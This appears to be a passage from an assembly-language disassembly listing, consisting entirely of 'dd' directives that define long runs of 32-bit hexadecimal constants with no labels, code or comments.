		dd 0FBD58089h, 0B37CDF2h, 3F476514h, 93A9A060h,	19DF1D82h
		dd 9F1C59D5h, 7CEE532Fh, 0EB607ED6h, 3ED97075h,	4DA89B29h
		dd 92B9AD47h, 912D9CA7h, 0FAEFA9CDh, 8B7322B8h,	172F121Eh
		dd 3B5EEC06h, 20AE37BBh, 563FEDA9h, 0F4E3D823h,	104FD906h
		dd 7DCC38CCh, 17806C91h, 0B05D9AE4h, 7119AD4Bh,	7E43B433h
		dd 8FBC95EDh, 0FF3BEF08h, 96C4CD62h, 21E47F4Dh,	9F084B9Dh
		dd 3C9CC66Dh, 644A3CF1h, 5AFCBF5Dh, 0CDEC269h, 2549CF19h
		dd 40A851ACh, 0E6C9C7E0h, 2775B949h, 7CBC1980h,	27995C25h
		dd 0ADA7F0E7h, 3CC41D8Ch, 0BA24563Dh, 65EFBBB1h, 0E1550C5Dh
		dd 76C15372h, 0DE51E4B8h, 48B9BED4h, 0C55263A5h, 0FF8AAACCh
		dd 0E46BC103h, 44B2F4C0h, 0DEF05CDBh, 0D0E22457h, 0BA2FDE77h
		dd 8182C6A0h, 4545C2CFh, 0A616A3B7h, 7FDF4348h,	0E8E9B541h
		dd 7ED56661h, 2782505Ah, 0C5D60658h, 641CC25Dh,	0E8E06468h
		dd 2E25E536h, 8F8051A0h, 7C206256h, 0A752463Ch,	8BAEFD09h
		dd 8840426Ah, 0FEEC0913h, 0DF70C1F1h, 6D4E057Ch, 796CD75Dh
		dd 941D2B1h, 3E8C8F4Bh,	35934D88h, 0F5D95F6Fh, 0CE459F1Bh
		dd 4AA0E87h, 98E47BE3h,	0A0086FCDh, 0DB1D013Ah,	0C57C225Ch
		dd 6381A79Fh, 0F3871BB1h, 0F751B1DEh, 5319C245h, 8A07CEF7h
		dd 0D94DF99Ch, 0AC771C81h, 65DB64AFh, 9E93990Dh, 6232DB59h
		dd 0F726CE5Fh, 15764DFEh, 3A1E1A31h, 660AA443h,	6F6E73FEh
		dd 4E93D089h, 0A8C04EBCh, 978FD802h, 1D08F71Bh,	7EEA5BCh
		dd 0D4B0CABEh, 0A7DB10B0h, 0BFF824CDh, 71CA1F9Ah, 2163D089h
		dd 7BE2D4BDh, 77BE05EEh, 8D4CD596h, 5BFFD8C6h, 0B88F2B4Fh
		dd 0D6FD37F7h, 38923643h, 66B5FD7h, 9A673FC9h, 747D6D3Dh
		dd 222914Fh, 0F98CDDB7h, 0A8B7125Fh, 81C15FB0h,	0BD6251AFh
		dd 18FB6EA9h, 9E2FABF9h, 0A44C2DBFh, 8F03E7B1h,	821D4E84h
		dd 1C4B323Bh, 0D3C2D9F1h, 98460D15h, 0B3B7E7B7h, 8BB0A33Eh
		dd 35D021E2h, 687251E4h, 0C5AF6639h, 7A13C356h,	7719D63Ch
		dd 0C571B892h, 225DCB3Eh, 0D193B92Eh, 9F022105h, 7A7C151Eh
		dd 3DB4436Ch, 0E9AFD658h, 47597058h, 87B82D38h,	0AF51C66Ch
		dd 162C267Bh, 0A2FFDF3h, 26A505DDh, 143E576Ah, 0ED1E70CCh
		dd 874557B6h, 9B6E099Dh, 0E99AE02Ah, 7355C851h,	7154DECCh
		dd 61B896F1h, 1768361Bh, 42171235h, 2EC5F011h, 0F1D82B1Dh
		dd 5D9FF79Ch, 0E2A7619Ch, 8F5D6B51h, 2790C6F4h,	339F0BF6h
		dd 3B82FC25h, 0A5A56AE5h, 6D9BE79Fh, 320E1A7Ah,	0EDBFC39Dh
		dd 6F7A2718h, 0DABEA7F3h, 54D7EC51h, 87015F92h,	11EAF8CAh
		dd 5D163B00h, 4C2AB2EFh, 972DE264h, 0DF9AAF25h,	0C71E1967h
		dd 6D1F5FE6h, 444FAF8Ch, 0BB2692B7h, 12A3DB03h,	49EEB14Ch
		dd 8F057531h, 0CBCEF2BEh, 7D3CDD9Eh, 437A1545h,	0A9889F88h
		dd 0DF6C017Ch, 0D1A97230h, 98D36001h, 99A0F780h, 0A2C8CC2Bh
		dd 8E2CFD69h, 0B6BDC4D5h, 86D41D00h, 1A385251h,	6BDB35EAh
		dd 16A3B1E2h, 6187C181h, 52B4CD2Dh, 5E2A6777h, 3DAD232Ch
		dd 0D807B490h, 72CB9D0Dh, 0F8DD6DA9h, 0DA9CAE96h, 470ED487h
		dd 0C7A53E15h, 0A9E5D44Ah, 3EEC0B5Eh, 47FF3D29h, 4EDEC3F8h
		dd 15033CB4h, 0C869A4BBh, 1B5A0018h, 0FF203CBCh, 0F0E73607h
		dd 60C21BFAh, 15ED5E32h, 46C259CFh, 2A3C8091h, 16077D18h
		dd 0DCAE9851h, 0EB040A82h, 9A0197E8h, 44DB0F09h, 0A084E379h
		dd 99BBB1F5h, 0E298697Ah, 0ED0A5CF9h, 0B0762F49h, 5C636E17h
		dd 0AACA972Fh, 820D59F1h, 0D91916Bh, 5325D0F4h,	39AAC313h
		dd 0C2862FF0h, 0A4C42444h, 0E20CB63Fh, 0A1E35184h, 701144DEh
		dd 0D5B7462Fh, 0DEF7CEAAh, 8B2420BDh, 0FA1DFE4Eh, 12B93A81h
		dd 9507353Fh, 57D1D091h, 37D56889h, 469DD8A3h, 0F3D96867h
		dd 0C72733F4h, 990490BBh, 4FFE90BBh, 130D7051h,	289547CBh
		dd 0B4F2CA87h, 3330DE42h, 934023A2h, 0ADFCAECCh, 7CDF4802h
		dd 0DC31693Bh, 9F317603h, 5AD2EB6Eh, 0D94CACF4h, 49F499B1h
		dd 0DCC0CAF9h, 0A05E1561h, 0E4121E3Bh, 0B25B8712h, 1D37163Bh
		dd 0DA19090Dh, 2125ACC1h, 20C50F71h, 0DA1003A9h, 593FEB7Fh
		dd 2CDBB1CCh, 8FAC5693h, 0D69315E5h, 5BE12BF4h,	1B1FE224h
		dd 0FB3D58B1h, 0B88BE6C9h, 619A7BC3h, 1E6B3F69h, 3719038Ah
		dd 0B191B6EAh, 0F4327ADh, 7542FF95h, 0A2F4D30Dh, 55794629h
		dd 163EBBh, 0F1507A65h,	0F37C5767h, 0A77A8BCBh,	264B2977h
		dd 5DC21BC8h, 0C7087527h, 0EE25D991h, 393F6C2Eh, 75104DB6h
		dd 0D2458C9Bh, 434FC71h, 2029F0F6h, 6C0268A0h, 0AF7ECD23h
		dd 9EEFDE0Eh, 548B83Ah,	306BA221h, 0C5F2A60Dh, 15396C7Bh
		dd 6BAD3971h, 3F058A4Ch, 8C1754C6h, 0D77BAD37h,	4817469Ah
		dd 0EF85CEAAh, 4BC4EBF4h, 0F62737A0h, 0A82A11E5h, 8DF94230h
		dd 1501F5F1h, 6D20262Ch, 0EBD1BD78h, 0CE1AF58Ch, 46DB1ACAh
		dd 7945D7A8h, 21FB7EA0h, 0E200C1FDh, 0A3830E8Ch, 0F73783BAh
		dd 887E402Ah, 8B728C4Ch, 0D6CF9EFh, 0C47DE293h,	8411EC68h
		dd 9412ACB7h, 0ED232B47h, 13B68AD4h, 62979FB8h,	2B79B5C4h
		dd 0B7669D29h, 0EE803CCDh
		dd 0B3D8BB66h, 3E879DC0h, 6345C5DDh, 4EBD7C62h,	0EE49DB53h
		dd 0A2498CE1h, 58DCE67Ah, 4AB0876Eh, 98297F6Bh,	0FF23E44Ch
		dd 7AFDDDB0h, 78877366h, 0CB4D40EBh, 0AB16B225h, 5990AC84h
		dd 42CCB7CAh, 0AB781327h, 0E873D64Dh, 672891DAh, 0CFF71FDEh
		dd 52EC51E7h, 1509E05Dh, 8498EA24h, 725801D9h, 0B91633F9h
		dd 0CB8A42EEh, 0F4EB27BEh, 26DEFCBDh, 8C87B94Ch, 955F7B16h
		dd 861A8960h, 629A33B5h, 0E52622A5h, 7664B2FDh,	0F40FDC4Ch
		dd 0CAE8E2DEh, 51FFA53Fh, 0CC057254h, 792374BEh, 994B212Bh
		dd 0E24F3EBAh, 0B2F19D92h, 0EF3E82E2h, 1CA12767h, 172ADE5Fh
		dd 75A7117Eh, 0CDA241F3h, 0F4499D16h, 0D42CCEF6h, 0AD4D91BEh
		dd 1BEE263Ch, 0FA2B3DE8h, 0EB1E33FFh, 0E119BCACh, 41D61708h
		dd 0F5EC2FDFh, 696B826Ch, 34EBF651h, 654345FBh,	84B9F5BAh
		dd 130E42Eh, 0EA8360D5h, 0CF5566FEh, 0E0F1940h,	8D5445D0h
		dd 0FF310931h, 3C24B398h, 8BC3DCF8h, 314E86E0h,	159E88B9h
		dd 9E7DE5D5h, 9933920Ch, 0B55A316Bh, 0A9909D9h,	15127C16h
		dd 77798B6Bh, 7C9FA622h, 4D9130EDh, 3C6AECABh, 8E322B49h
		dd 8DDFD8FFh, 967CE4E2h, 0F79B8D93h, 0EC2ECE91h, 9209E046h
		dd 0A3BDF6EBh, 2B2A7EEEh, 8C2D1CB2h, 17CDBFF3h,	5EB11F6Ch
		dd 0C79586ABh, 2B41E965h, 0AC00CE1Eh, 0B8AEAC3Bh, 9F6F11AAh
		dd 13C7C2B7h, 892C4AE0h, 85549486h, 0BF164Dh, 9B2410CBh
		dd 17A0909Fh, 5C12B80h,	0E97482Ah, 44E3880Bh, 3FF314A8h
		dd 974B8CB7h, 5563D18Dh, 0FD8B066Ah, 5F4E76D8h,	0ED68D0h
		dd 6544E3ACh, 2FFBEC93h, 0E9100E04h, 23490D01h,	0DFF4B425h
		dd 9E09693h, 0D8B038BCh, 0FD56E48Dh, 8C99A980h,	4468276Eh
		dd 0B3607F63h, 0C9A3C63Fh, 6E091FC0h, 0ABB1226Ch, 7B0F326h
		dd 0A29D8014h, 300A42A1h, 4612B590h, 6A4FC93Ah,	13B9C9AFh
		dd 1C3DFE9Ah, 18722148h, 0C0292B92h, 8B33F8AAh,	522532BDh
		dd 0B85616Ah, 5A9AAACh,	54C44832h, 0C66BA628h, 3B30A9C3h
		dd 37ECD336h, 7CABFB8Eh, 88591E4Bh, 1495B962h, 0F6C784DEh
		dd 28571096h, 0AE367E8Ah, 3646A519h, 0B3BE0309h, 0C65F500Ah
		dd 0B81536C3h, 0D4FF62FCh, 19B2B4EFh, 0BDDD3E7Dh, 34181C0h
		dd 0D520FF8Fh, 0A3C3C8A8h, 6FD674E1h, 0F1BCA689h, 8B77CE17h
		dd 958DE3C5h, 67A5607Fh, 0AAB00BDEh, 0DCC87BA7h, 9231136Bh
		dd 0EE9A4095h, 0BAA367A3h, 90EF9CA2h, 2476A08Fh, 33EF8F73h
		dd 7B912812h, 4968CBBAh, 1AFCE2B3h, 9F1EE3E8h, 57C1953h
		dd 456BB982h, 5B501EC3h, 0A8EDC487h, 62970C68h,	1BEA1981h
		dd 7710CAE5h, 0E887DE4Ah, 0ED919C5Eh, 0E8B7CFF1h, 297167A7h
		dd 6639684h, 3C0F48CBh,	32A19104h, 1D7AD895h, 558739DFh
		dd 1187C7A9h, 0E9137CA8h, 2D640DAEh, 835F754Ch,	2AD283EDh
		dd 9FEA5D65h, 150BA1D7h, 23366F2Ah, 417C9B57h, 530CB5F5h
		dd 82A6CEE3h, 0EBD78B2Eh, 0A18ABA5h, 97947252h,	0BCDFFBC9h
		dd 0E3028E1Dh, 222B0F1Ah, 7A8F8FD9h, 9A0AA579h,	5484285h
		dd 0FECDF26h, 254B1CA5h, 5FEC737Bh, 41CE2FBDh, 40D7F4CAh
		dd 6BFE2320h, 0D1EC0E7Bh, 0E59A2DDDh, 0F8228504h, 6FA1477Ah
		dd 69E0C4D5h, 0C963D6C1h, 9DF84881h, 0EA42FB00h, 0F3C8B617h
		dd 340AC2CEh, 6B93508Ch, 0BA9B3E1Bh, 0CF5E0863h, 0FA6696h
		dd 14EAB2D9h, 247410Ch,	6695AEF8h, 52A6E4Fh, 0E817394Bh
		dd 0FAB15DDEh, 2EDCDF89h, 0CB66508Ch, 4CCAAC50h, 59BCCCD8h
		dd 0D63A1906h, 0C5CAAE2Dh, 1481A1h, 0DF18D458h,	3A7C2EC0h
		dd 546909A6h, 0C2D1D755h, 213DDFh, 0F64DF1C5h, 0F6DF1586h
		dd 0C81FFA56h, 9E948827h, 1403FFD1h, 9DD76E35h,	0EFC82B18h
		dd 0E2F4ED49h, 4560F0F5h, 80AFC5D9h, 6208C8AFh,	0DCE8360h
		dd 2C4F6228h, 0CEEE5C5Dh, 62C19808h, 0F7B07665h, 0A1105629h
		dd 5C422965h, 5A192D46h, 17B13CB1h, 157DF3EDh, 948EC274h
		dd 285D376Ch, 3DF1AAA4h, 32D0EDCBh, 0F5D64F99h,	2FD05768h
		dd 4C5FD1CFh, 1352506Fh, 0AE03A976h, 3FEE4FFFh,	6D96377Fh
		dd 9699FB19h, 893CAFFDh, 3CB05BF3h, 0C562E4F3h,	0A1C8BE7Eh
		dd 5ECBF49Ah, 62D6D5Eh,	0EB523FDDh, 3C35B0DDh, 0F148AF4Ch
		dd 0B877209Ah, 92C5713Fh, 84C16C8Eh, 0C656F138h, 195016B5h
		dd 509F0814h, 1260C1FEh, 194A9939h, 21BE1E71h, 8C4FFB5Ch
		dd 735D277h, 0C2F127E3h, 0F340A315h, 502C56E6h,	944E8B43h
		dd 0E9ECCFE9h, 7B18641Bh, 0A88406F3h, 761A8874h, 21DE4A7Ch
		dd 0C2F0000Ah, 0AD80F593h, 356ECABAh, 39F82C6Ch, 0AF71168h
		dd 3F64F22Fh, 0F4E81739h, 30359411h, 4C181BF8h,	0ED5E3FE1h
		dd 0D83B517Bh, 62A78ADh, 576E4750h, 0ACF36F7Ah,	396AA9D7h
		dd 16402C2Ch, 0C1F62B90h, 220C0204h, 0CAEBABA8h, 0D408C1D5h
		dd 7C5975BCh, 0F268AB06h, 4DCB7E9Eh, 7A91F919h,	3C2AE33Eh
		dd 94F96138h, 6FEF2C17h, 18191214h, 795F47D2h, 597C5B4h
		dd 60473584h, 0B0440287h, 0D96EB763h, 577A5C47h, 0F5CC366Ch
		dd 1827A508h, 64E15D44h, 732DA219h, 0C2B2B83Ah,	8506D78Fh
		dd 0ED6B9635h, 32B6C08Eh, 51A9EBCAh, 0BA4BAB90h, 51C6B919h
		dd 1AFD3637h, 2EEB9E6h,	88E77C8Dh, 0A64F3AB1h, 8ACDD90Fh
		dd 0A57E15E0h, 0CFE4ADC4h, 0F75FCF05h, 77E996F2h, 534A7011h
		dd 0FDB3B49Eh, 687D268Bh, 84C3DB46h, 61512407h,	0F530204h
		dd 88FAED1h, 55D194F3h,	0E4151E1h, 8E5879B3h, 88E66AB4h
		dd 41DE530h, 95C8FD69h,	6184CE33h, 4B4ED700h, 0DE1D7EEFh
		dd 250FEF2Eh, 0A4DCFFC5h, 61E434FBh, 6CDB1DBFh,	8AE675CDh
		dd 6487C832h, 98FA84FCh, 9096379Eh, 6A0F381Dh, 0A366799Dh
		dd 25019401h, 0F31038E0h, 30775BDCh, 20A2DD0Dh,	243AD366h
		dd 5545BA21h, 35976C8Ch, 0C51DCEA2h, 0A687B544h, 8DF7A536h
		dd 0AEDC127Dh, 1D8C6A0Fh, 934FAA16h, 4386C94Ch,	8CE488CEh
		dd 37341910h, 4A600C47h, 0BAEE27D9h, 742A1320h,	3FB05AE3h
		dd 0B69AB122h, 738C4E2Fh, 338BB063h, 0B638511Eh, 0FEF9C4F1h
		dd 5D72C8FDh, 75621D81h, 6D8E023Dh, 37E55DF5h, 4BCFA367h
		dd 3610F56Ch, 209F8D65h, 0A353CE63h, 0B63785DFh, 7C37A6Bh
		dd 0F2032385h, 9F118D28h, 0F9D2999Fh, 0FFE6E5F7h, 490A4FB8h
		dd 2CFE6D36h, 2853B5B0h, 85E528D6h, 3E58F2Dh, 0D1DDB084h
		dd 0E6E98A4h, 0D1CB5DEh, 0C410589Eh, 12FF4297h,	36767E14h
		dd 0C511DF3Eh, 79D9E9EDh, 8AD6779Ch, 0C6488603h, 86E3FA59h
		dd 87F2D5CDh, 0BC495430h, 7B413666h, 60FE4A99h,	0E5C8492Eh
		dd 26050C7Bh, 18118307h, 8C390D15h, 0D36783C7h,	0FD45F721h
		dd 1B1CCAAh, 927BD968h,	0B13FDDD9h, 687F0D7Ah, 895BACA7h
		dd 1F433B99h, 388B221Ah, 3E7BF1F9h, 0FD757879h,	441C0708h
		dd 0E844F60Ch, 0E4037E35h, 45FBC8AEh, 39E0BBDCh, 3134FB3Eh
		dd 75C4DB0Fh, 9F38787Bh, 0A9FF4CBBh, 0D38023Bh,	0F4E13D1Bh
		dd 0A557687Ah, 0AE0B8A90h, 43A1667Ch, 0F3A6CAFh, 0E33104BEh
		dd 0DAD8520h, 8505B6C3h, 0B112FFABh, 6E335CCBh,	38EA5082h
		dd 28A6C0A8h, 4AA0CD12h, 0CB8EE9E9h, 0A5BA3966h, 0A2BAF552h
		dd 5BB11A22h, 78EC96B7h, 0FF7F5EBEh, 7D7C19D9h,	63118AF8h
		dd 1923A92h, 0A84C714Eh, 1618CB7Dh, 999C2CFCh, 0F53AC9AEh
		dd 0C67F5CFDh, 0CD52FFC0h, 0E33780BDh, 7BDCCBFEh, 0D2A9059Dh
		dd 943785B6h, 6B653EC8h, 0D6B91E86h, 3357EBB8h,	59228212h
		dd 25FBE070h, 0F6C78B8Dh
		dd 0A4150FD0h, 6611B63Fh, 6C2DA4D6h, 0B3BC77D9h, 3DC4FC1Dh
		dd 2C74DB2Dh, 51986328h, 6F415A21h, 18E0E93Fh, 0F21DAE7Bh
		dd 53CC8E46h, 0F9FB1F9Bh, 0ADD79292h, 498406EBh, 4DBB2AB5h
		dd 1DA53907h, 0BB333102h, 1ADB5772h, 20AB16B7h,	0A95E82Eh
		dd 57F6FD9h, 48D34D99h,	436E5D7Ah, 0EFB0EF3Fh, 41F7EC74h
		dd 949DD25Bh, 54EDF379h, 2696449Eh, 40E2665Bh, 0F4EDA340h
		dd 0D40A1E6Bh, 36EFBD45h, 0BB6D5D8Dh, 8832FC37h, 8719471Dh
		dd 7995DEE8h, 321CF008h, 6E1F3CF5h, 94F68D28h, 715DB62Ah
		dd 3717D12h, 6307B5F9h,	438E802Fh, 32BC3380h, 0BEC1F60Eh
		dd 8FDBB485h, 3DB70FBBh, 235477C6h, 0ACF820A7h,	30D00F76h
		dd 5DB28BCFh, 652B0AC2h, 2C2FEF3Ah, 7653D87Bh, 0E735CF1Ch
		dd 0A489C860h, 99CA0CCBh, 55AFC873h, 0D4EDC65Bh, 80B6B894h
		dd 10C27A2Dh, 0A9DAE1F4h, 8AAB217Eh, 0D371CA31h, 1ADCD8DDh
		dd 0D394B8E1h, 906FA270h, 0A1CCA91h, 3EACF0CBh,	918CE46Bh
		dd 0D5B1D654h, 9819B031h, 3297480Ah, 0AD85F82Dh, 65324E2Eh
		dd 0C5B4CC79h, 0A58C0CB9h, 29004B9Eh, 0E12A5BCFh, 1C2EA071h
		dd 89B4FE0Eh, 0A0440851h, 0A338DB2Ah, 192B063h,	64008A00h
		dd 0ACAC16F7h, 7A41D7A9h, 5B9F8A88h, 0DA38B441h, 0AA1CB5Eh
		dd 0EDF4C8B0h, 778C5ABEh, 0F9A26291h, 1D71A8E6h, 0B6DFDEB0h
		dd 0BD24AC63h, 437CBBD3h, 95A13C9Bh, 0A528403h,	4B79190Bh
		dd 430CA751h, 12A00E93h, 0F3555A52h, 0D898CE3h,	0E4322107h
		dd 0D95C03A3h, 81C41C79h, 0DE69EFCEh, 3BEEBC51h, 9665C021h
		dd 0EA8E6FF9h, 2976BC20h, 0A3E06550h, 52F2E85Ah, 0CCE43DFEh
		dd 7F82C2C0h, 0A8C65B9Dh, 0A525FA2Ah, 0BC7FCFA3h, 855EB9F7h
		dd 48819060h, 0FE9346DDh, 0D7F71CC5h, 8FCD9325h, 377BB60h
		dd 98766F3Bh, 0CA8367DAh, 4FF99177h, 0C5C88Bh, 7C6E0815h
		dd 99CC4AD4h, 0B4D0CBC8h, 0EA019A6Ah, 0BFD580Eh, 0B091C1C4h
		dd 6A9BFEA4h, 773EFEC3h, 0B02D7352h, 6B358071h,	72EC718Ch
		dd 0A475C05Ch, 5C0DBEE3h, 0AE45C8EEh, 218AC594h, 0D8499EAh
		dd 4A22EE85h, 6D419C91h, 4C2C990Bh, 29A674ADh, 25CB5B13h
		dd 89167F4Fh, 39478175h, 5F57E969h, 0EEE9DF73h,	996B36AFh
		dd 680A32C9h, 4BD93665h, 240D506Fh, 46555481h, 4EFDDAC6h
		dd 0A6811CAFh, 0E437E5C7h, 0D49AEA72h, 1A5DF2C0h, 0A41B38F5h
		dd 8C8BA093h, 47E6F87Dh, 0A20C7C13h, 0E3A93BE8h, 0FBC9FA9Ch
		dd 6615E969h, 5A5B736Ch, 5EC2C4F6h, 42D1862Ch, 0F9C38ED4h
		dd 0F1DAE07Ch, 0F91F75FAh, 6BB0E3D4h, 833C9C11h, 5D919E06h
		dd 3EE1DFC6h, 0BF3A1BDDh, 0B187C55Ah, 0A2744D09h, 0D3DB7C52h
		dd 0EA5BCE54h, 6ECBD47Ch, 0FB60403Dh, 9AFC6511h, 9B09F24Dh
		dd 9F4A221Ch, 72A0BF40h, 24CFA276h, 0FC8AE905h,	0FBFFDCA9h
		dd 0CD2CE110h, 3804C058h, 0C420238Fh, 26DBC359h, 6847BA82h
		dd 933B8C27h, 5B5802A0h, 0E44EDD3Ah, 2E16536Fh,	5ECBAE5Ch
		dd 1BA4665Fh, 8C49DE0Dh, 0BE501C57h, 2E35728Eh,	69F51014h
		dd 2CA71A22h, 4772ECA8h, 0B0698EC1h, 0A183011Dh, 2A5344B6h
		dd 12A72D48h, 0CC3F2E92h, 0C787DE3Bh, 681E2074h, 9250FD5Bh
		dd 4EC73705h, 79DD884Bh, 0E309A744h, 5EC822CEh,	50930FE2h
		dd 81C00BB0h, 806A169Ch, 198D8D34h, 4797832Ah, 0C96CD7C4h
		dd 32C6CCA4h, 1C0EB64h,	72EC7761h, 50A65015h, 0AA2DF7D6h
		dd 0BD633248h, 5D84636Ah, 97AC24E5h, 3DA84A5Ch,	473B4525h
		dd 14E85C72h, 0E2F7A76Bh, 0A781E9D9h, 0C43AB964h, 1533E027h
		dd 6CD683Fh, 0E82E37F9h, 617258A2h, 52260A76h, 5970A548h
		dd 0F2662F7Ah, 9AB267C9h, 31A072C9h, 9B964A2Bh,	757DA37Eh
		dd 12026709h, 8F69FAFCh, 526E0DB1h, 3BAB7015h, 18AAB1CDh
		dd 933B018h, 37FEE7EAh,	0A5CE9913h, 0BD67F8F4h,	0D167AB93h
		dd 744DF20h, 3D26F760h,	0EBD52F76h, 93795F90h, 0ED093C46h
		dd 0CE40C0BEh, 3E67E380h, 75F7272Bh, 8DF0A67Fh,	0AC821E8Ah
		dd 0F6A4DDD4h, 4872C8E8h, 43AD5129h, 2CBE460Fh,	0A628B5Fh
		dd 144503F2h, 86E28C41h, 39275710h, 5362D530h, 0D82E5580h
		dd 0BB207333h, 10CEF47Bh, 0E459C073h, 69A81B47h, 0A31C87A9h
		dd 0BA09D9FBh, 0E891D837h, 38EDACE4h, 35771B60h, 78697691h
		dd 83C9AEA5h, 0BAA237F2h, 0D80237A8h, 0F630AADBh, 8BBACC05h
		dd 123E4EB3h, 502C5FA3h, 49154CC3h, 0C0BD84E2h,	1A656C79h
		dd 0FB05EEA8h, 0BF72497Ah, 0B74276E2h, 4E31D9C5h, 4583149Dh
		dd 760DB7BEh, 0C202D3EBh, 87AB10ECh, 0E3F08D36h, 67AAC7C9h
		dd 6C484E1Fh, 4596A560h, 8F41B3BEh, 0EE53AAC6h,	7549CE63h
		dd 8268B006h, 51A90EC9h, 0B8F1787Ah, 35CA1163h,	0AF611C11h
		dd 0DC950060h, 0E20B10CEh, 0C7EFAE88h, 0DFDF5304h, 0FDF45A20h
		dd 0B522D859h, 2FC1B1BDh, 0D5BC000Eh, 25D2816h,	453BF271h
		dd 3AD92759h, 7B9EC1A9h, 0CD80B62Fh, 4BF004FDh,	771BDD57h
		dd 0E696326Ah, 656305E6h, 646570E3h, 832BAD68h,	984B4FC3h
		dd 6B028ECCh, 0FA2A2D5Bh, 0D9E6C0ABh, 0FBF1DC5Ah, 60730C05h
		dd 0DADE7C3h, 0DA7DE3D0h, 89BDCDCDh, 2C99103Ch,	0F759EBDBh
		dd 8E2A9C64h, 685FAB44h, 0E8EBAC9Bh, 0D5C549CFh, 2680031Bh
		dd 203415C7h, 3A3E406Ch, 4EEFFFA9h, 4E69041Ch, 0F2E1DA68h
		dd 853D6B1Eh, 0F679F26Fh, 0B02AA25Dh, 36D88030h, 1CBA71FFh
		dd 0B83AFB1Eh, 19D89879h, 42F90DDBh, 1D6DBFB4h,	0DF47309Dh
		dd 5983BD2Ah, 5EB72113h, 0C2B42FC5h, 4D6226F4h,	7390348Eh
		dd 3F0BFE67h, 0DE8A06Fh, 0B18883FAh, 8BA5E0B0h,	7F48201h
		dd 7CD31F6Bh, 0B200F68Fh, 0EFFA3E83h, 1F79B68Fh, 0A54EE3E2h
		dd 497EF931h, 5A37B8DDh, 899C0B61h, 0E99742B6h,	0F02E8005h
		dd 0DEF1D5D9h, 0B3564D0Bh, 56B2448Ah, 0C93D6FB2h, 28CD21A9h
		dd 3CC2E8A8h, 6C4CB511h, 45BDCAD6h, 966393BCh, 4698D56Fh
		dd 0A6A1D93Fh, 18CD0703h, 8E43B4D0h, 5BFE430Ah,	0F1EFA1E1h
		dd 0B92C5B0Eh, 92727A2Ch, 0AC7CBB81h, 51BC46E1h, 0D3F60Fh
		dd 6B6D894Bh, 9C61E9F9h, 6ED42740h, 6B832692h, 2289926Fh
		dd 7B3F0645h, 93A7C570h, 7DECCBC1h, 300DDA73h, 0B18A74BBh
		dd 0DD7756B2h, 0CD75B272h, 85504E31h, 1BC46635h, 0FEA24B3Ch
		dd 7F786952h, 0DB3C1020h, 3719BFEEh, 532139D8h,	8C400A26h
		dd 932CE14Eh, 6EB542EAh, 0AD2764A9h, 47405B49h,	2F54F159h
		dd 0E5246EDFh, 0BE3C9B34h, 73ECAF7Bh, 0CA56CEFBh, 9E98A538h
		dd 8905C65Fh, 0D7552DA0h, 0B8683B67h, 0F3F268C0h, 0EFE5663Fh
		dd 19AEA7FEh, 0C9861608h, 0EEEC453h, 8541ADAh, 3347AC9Dh
		dd 49AA2806h, 9719401Fh, 914E0209h, 7544B210h, 5CCB7B8Bh
		dd 16CA826Eh, 0D95D706Ch, 0A0611A25h, 1998334Ah, 0A1B6D787h
		dd 33F7C8A2h, 0F44DE289h, 0B6214FF0h, 2AA4F13Ch, 78CE8D85h
		dd 0C3A8C791h, 4D882Eh,	0B363B37Eh, 6A57339Ch, 0B0D48F5Dh
		dd 4A8607DDh, 55BAC696h, 44BD14C4h, 2D7DF34Bh, 29891286h
		dd 1A38852Ah, 6EC17AECh, 0B6725673h, 7A6242Bh, 0EE6C26D3h
		dd 40D5D640h, 0DCE52386h, 0BB93EBD2h, 9F53D6BFh, 7BBFB022h
		dd 721EBE1Bh, 9A0B01F1h, 173BF99h, 35B504AAh, 811C127Ah
		dd 775D9687h, 0A8A02E8Dh, 0AFDA1223h, 8C3021A1h, 75F4A569h
		dd 0C114EE6Ah, 532D8F06h, 0A0963025h, 0BF8FBCEFh, 99EC08BAh
		dd 0E348B95h, 5F2886F0h, 84E96483h, 8F435469h, 5924DB5Dh
		dd 0B5E1DE6Ah, 6FC9E63h
		dd 0D9C1AA17h, 0E0EA0606h, 0DDCBD2D6h, 0C5DCA64Dh, 0A22F4E95h
		dd 77C9D32Fh, 0EEB15D26h, 0B65CA88Dh, 0BF6DEA4Eh, 8BF8A3FBh
		dd 0EEBE0521h, 13233577h, 4A3B7CB8h, 33E539C8h,	9D52DBFDh
		dd 2E225547h, 0F69E500Eh, 7DD6426Bh, 0C9F359A9h, 0EC2BC72h
		dd 5DA92C6h, 1A5B843Eh,	289E1019h, 3F9C33A9h, 0AB30C73Ah
		dd 0B883D466h, 0FE1A5C38h, 2C18F3D7h, 213B1422h, 0C4D8598Ch
		dd 0B46E90FEh, 2C09B477h, 0E5AAA60Ah, 3D1ADD33h, 0CF3FE37Fh
		dd 1A3E39F2h, 159B7F6Dh, 1142AD83h, 0E9F541F9h,	1C390DABh
		dd 9CF81666h, 0C4131C85h, 0F7EFF9E2h, 63F639D6h, 8D5657F2h
		dd 1C36188Dh, 52BBD72Dh, 932C6125h, 59FDB4ECh, 0DC16E63Ch
		dd 0DC38B331h, 0D0D2D06Bh, 0CDF56178h, 0AF3770C3h, 0BB04761Ah
		dd 0ED29D0A5h, 56980EE5h, 4CA32102h, 0D5D7D56h,	0BE496EDDh
		dd 4FBD422Ch, 0E8DF7B2Bh, 0B9BE42C6h, 0CEB6693h, 0D05FE69Fh
		dd 0BA6EBF52h, 0F96C7B2Ch, 0B02D0A78h, 5EBB6B1h, 0E067581Ah
		dd 22A92FA4h, 8EA28677h, 0D7CC9A17h, 1BF86187h,	0B35228ECh
		dd 467127D0h, 4C80784Eh, 8A9F86A5h, 4B7B64EEh, 0FB1E21DAh
		dd 7029D8Dh, 0FE2AC238h, 2FE0B64h, 250E34B3h, 7543EF53h
		dd 0CB5B9A62h, 0A82BE772h, 0D81A7368h, 68EF7108h, 0C19CF093h
		dd 0E54D92C1h, 0D95AE41Ch, 5699A2CFh, 9D66E2DEh, 0C524AC3Ah
		dd 0FCCFA899h, 7C30EAF0h, 2C4F9D0Ch, 5F3E11CBh,	38F9926Eh
		dd 0BF79873Ch, 0C24E593Eh, 0FD49C0FEh, 561D12BFh, 74D14E22h
		dd 0E95E63EEh, 380F235Bh, 10FE7FA7h, 0DF1FC6D1h, 0F09E001Bh
		dd 991D241Eh, 0DE5B3063h, 0C1243AC7h, 0E15FE2F5h, 2F873D5Ah
		dd 21944EECh, 6D3B9778h, 2DE9A68Bh, 7A8D817Fh, 0B99E247Ah
		dd 90413E92h, 42799E5Dh, 0F21E6FA3h, 7FCBF1C8h,	0B1F3EE36h
